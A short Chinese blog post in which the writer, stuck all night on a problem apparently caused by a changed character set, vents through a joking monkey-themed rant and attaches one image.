字符集不要乱改,谢谢,卡了一晚上。其实也没啥事,不就是卡题吗,不就是生活吗,人活着哪有不疯的时候,不疯的人还活着吗。人又不是葱姜蒜西瓜茄子萝卜芒果猕猴桃。可能我是猴子呢!我是猴子!哈!嘿!吼!哈哈哈哈哈哈哈哈哈哈哈哈哈我是猴子,我不用卡题的(变成猿猴)(抢夺路人的香蕉)(飞入丛林)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(在藤蔓中荡来荡去)(高声吼叫)(高声吼叫)(在藤蔓中荡来荡去)(高声吼叫)(在藤蔓中荡来荡去)(高声吼叫)(在藤蔓中荡来荡去) ![image-20230805193446916](https://file.jishuzhan.net/article/1689914222768558082/3960b199b8d3445eb8e00f59d78f13c6.png)

相关推荐
Aiolimp8 分钟前
React常见Hooks使用(二)
前端·react.js
By北阳8 分钟前
CSS 中实现 div 居中有以下几种常用方法
前端·css
小光学长10 分钟前
基于flask+vue框架的灯饰安装维修系统u49cf(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库
在广东捡破烂的吴彦祖10 分钟前
window配置Flutter开发环境
前端·flutter
Smilejudy11 分钟前
如何用 esProc 将数据库表转储提速查询
数据库
辣椒粉丝13 分钟前
记rspack想提issuse,提太慢白嫖不上了
前端·javascript
数据库砖家15 分钟前
YashanDB|使用 select * 创建物化视图无法触发查询重写?问题出在这儿!
数据库
腰间盘突出的红利15 分钟前
npm组件库搭建
前端
火星思想15 分钟前
前端基础布局写法详解:左右、左中右及弹性布局实践
前端·css
小桥风满袖15 分钟前
Three.js-硬要自学系列10 (创建纹理贴图、自定义顶点UV坐标)
前端·css·three.js